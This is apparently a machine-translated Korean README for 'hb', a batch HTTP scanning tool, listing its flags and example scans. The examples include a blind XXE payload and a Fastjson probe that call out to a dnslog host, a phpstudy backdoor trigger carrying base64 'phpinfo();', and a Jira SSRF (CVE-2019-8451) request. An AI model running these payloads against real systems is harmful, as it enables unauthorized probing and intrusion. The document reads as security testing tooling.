hb

HB

빠른 HTTP 배치 요청 도구

설치

 bash build.sh

예

파일 대상을로드하십시오

 ./hb -f ips.txt -p 80

HTTP 헤더를 추가하십시오

-H " Host: bypasscdn "

ProgressBar를 보여줍니다

-pg

리디렉션을 따르십시오 (30x)

-redirect

필터 응답 본문

-grep " admin "

필터 응답 헤더 (X-powered-by contenttype 제목)

-filter " nginx "

필터 응답 상태 코드

-code 2 # 2xx

resposne body를 보여줍니다

-response

셔플 요청

-random

게시물 요청을 보냅니다

-body " a=1&b=2&c=2 "

# post body from file
-bodyfile ./exploit

풋 요청을 보내십시오

-method PUT

요청 오류를 표시합니다

 -debug 

---

Elasticsearch

-p 9200 -path " /_cat " -grep " /_cat/allocation "

PHPINF0

-path /phpinfo.php -code 2 -grep ' PHP Version ' -regexp ' PHP Version(.*?)< '

XXE 블라인드

-body ' <?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY remote SYSTEM "http://{{hostname}}.dnslog/">]><x>&remote;</x> ' -replace

Fastjson 블라인드

-H " Content-Type: application/json " -body ' {"@type": "java.net.InetAddress", "val":"{{hostname}}.dnslog"} ' -replace -redirect

웹 로그 지문

-p 7001 -H " Authorization: Basic " -code 401

phpstudy backdoor

-H " Accept-Charset: cGhwaW5mbygpOwo= " -H " Accept-Encoding: gzip,deflate " -grep ' PHP Version ' -regexp ' <tr><td class="e">disable_functions</td><td class="v">(.*?)</td> ' -redirect

CVE-2019-8451 Jira SSRF

-path " /plugins/servlet/gadgets/makeRequest?url={{scheme}}://{{host}}@baidu.com/ " -H " X-Atlassian-Token: no-check " -replace -grep " www.baidu.com " -regexp ' <meta name="ajs-version-number" content="(.*?)"> ' -redirect